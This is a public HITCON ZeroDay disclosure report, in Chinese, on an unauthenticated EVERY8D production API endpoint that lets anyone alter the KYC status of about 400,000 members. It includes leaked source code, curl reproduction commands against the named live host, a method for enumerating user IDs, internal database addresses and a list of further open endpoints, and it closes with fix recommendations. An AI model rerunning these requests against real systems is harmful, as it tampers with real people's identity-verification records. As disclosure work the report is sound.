互動資通 EVERY8D 生產 API 未授權會員 KYC 狀態竄改(約 40 萬筆) - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00651
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 EVERY8D 生產 API 未授權會員 KYC 狀態竄改(約 40 萬筆)
  • Introduction: 生產 API 端點 /ocr/ocr_mid 完全缺乏身份驗證,任意使用者可不帶任何憑證修改約 40 萬筆會員的 KYC 狀態。

處理狀態

目前狀態

公開
Last Update : 2026/08/13
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/05/10 02:43:03 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/10 16:17:19 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/14 13:12:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 16:58:43 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 16:58:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 16:58:43 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/06 11:24:26 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/08 15:14:11 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/05 21:01:17 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/08/12 10:32:35 : 確認已修補 (由 罐頭 更新此狀態)
  • 2026/08/13 03:00:18 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00651
  • 通報者:guan4tou2 (罐頭)
  • 風險:嚴重
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://in-api.e8d.tw/ocr/ocr_mid
https://in-api.e8d.tw/

敘述

漏洞概述

EVERY8D 生產 API 伺服器(in-api.e8d.tw)的 /ocr/ocr_mid 端點完全缺乏身份驗證機制,任意網際網路使用者只需以 HTTP POST 傳入整數序號(user_no)與狀態值(status),即可修改生產資料庫中對應會員的 KYC/MID 驗證狀態。user_no 為連續整數,可列舉;資料庫會員上限約 401,944 筆。攻擊者無需任何帳號或 token,即可對全部會員進行大規模 KYC 狀態竄改。

漏洞:/ocr/ocr_mid 端點完全缺乏身份驗證(CWE-306)

此端點設計為 EVERY8D 官網完成 TWCA MID 驗證後的 callback 接收點,但對公開網際網路完全開放,無 IP 白名單、無 token、無 HMAC 簽名。

原始碼邏輯(從 in-api.e8d.tw .git 目錄暴露還原,見 ZD-2026-00631):

function Ocr_mid($f3)
{
    // 僅驗證參數是否存在,無任何身份驗證
    if(empty($f3->POST['user_no']) || !isset($f3->POST['status']))
    {
        echo RespJson(array("resp_status"=> _PARAMSLOST, "resp_code"=>"301"));
        return;
    }
    // 直接對 member table 執行 UPDATE
    // 無 token / IP whitelist / session 驗證
    $sql_upd = "UPDATE member SET status=:status WHERE userNO=:userNO";
    $GLOBALS['db']->exec($sql_upd, $arrParam_upd);
    echo RespJson(array("resp_status"=> _SUCCESS, "resp_code"=>"200"));
}

有效 status 值:1(KYC 已通過)、31(MID 驗證中)、32(MID 驗證失敗)

重現步驟(Live Verified 2026-05-10)

步驟 1:確認端點存在(缺少參數回應 301)

curl -sk -X POST https://in-api.e8d.tw/ocr/ocr_mid \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'user_no=1' | jq

回應:{"resp_status":"參數缺少","resp_code":"301"}

步驟 2:傳入有效 status,直接修改生產資料庫

curl -sk -X POST https://in-api.e8d.tw/ocr/ocr_mid \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'user_no=1&status=31' | jq

回應:{"resp_status":"成功","resp_code":"200"}

步驟 3:恢復(測試後立即執行)

curl -sk -X POST https://in-api.e8d.tw/ocr/ocr_mid \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'user_no=1&status=1' | jq

回應:{"resp_status":"成功","resp_code":"200"}

步驟 4:DB 型別錯誤確認資料庫連通性

curl -sk -X POST https://in-api.e8d.tw/ocr/ocr_mid \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'user_no=INVALID_STRING&status=1' | jq

回應:{"resp_status":"SQLSTATE[22018]: [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]將 nvarchar 值 'INVALID_STRING' 轉換成資料類型 int 時,轉換失敗。","resp_code":"399"}

此錯誤訊息確認端點直接連接生產 MSSQL(E8D 資料庫),且 userNO 欄位型別為 int。

用戶規模量化

透過獨立探測 EVERY8D 生產環境會員 user_no 邊界:

  • user_no=1 至 user_no=401,944:回應 HTTP 200,會員記錄存在
  • user_no=401,945 以上:HTTP 500(記錄不存在)

生產會員總數:約 401,944 筆

已驗證影響

  • 任意網際網路使用者可不帶任何認證,直接修改任意 EVERY8D 會員的 KYC/MID 驗證狀態
  • 可批量設 status=32(KYC 拒絕),使約 40 萬筆會員的 KYC 狀態被設為「驗證失敗」
  • 可批量設 status=31(MID 驗證中),重置所有已通過 KYC 帳號的狀態
  • 可設 status=1,強制使未完成 KYC 的帳號標記為「已通過」
  • user_no 為連續整數,無需帳號資訊即可影響全部會員

影響範圍補充說明:

/ocr/ocr_mid 主要寫入 in-api MySQL(api 資料庫 192.168.2.242)member 表格。當 user_no 在 MySQL 中不存在時,端點從 MSSQL E8D(192.168.2.169)查詢該會員資料並寫入 MySQL;無效字串觸發 MSSQL 查詢時的資料型別轉換錯誤(INT cast),確認後端同時具備兩條 DB 路徑。ext-api.e8d.tw /isKYC 直接讀 MSSQL,不受 MySQL 修改影響——但任何讀取 in-api MySQL member 表的下游服務均受影響。

額外發現:9 個無 Auth OCR 端點

以下端點同樣無身份驗證(回應 301「參數缺少」而非 401/403),具體功能待進一步確認:

POST /ocr/status
POST /ocr/verify
POST /ocr/getmid
POST /ocr/ocr_kyc
POST /ocr/list
POST /ocr/info
POST /ocr/check
POST /ocr/update
POST /ocr/mid

修補建議

1. 立即:將 /ocr/ocr_mid 及其他 9 個 OCR 端點設為 IP 白名單(僅允許官網伺服器 IP),或立即下線。
2. 短期:加入 HMAC-SHA256 請求簽名(共享 secret 僅官網伺服器知道),並驗證時間戳防重放。
3. 長期:納入 API Gateway,強制 mTLS 或 Bearer token 驗證;所有 OCR callback 端點統一套用。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;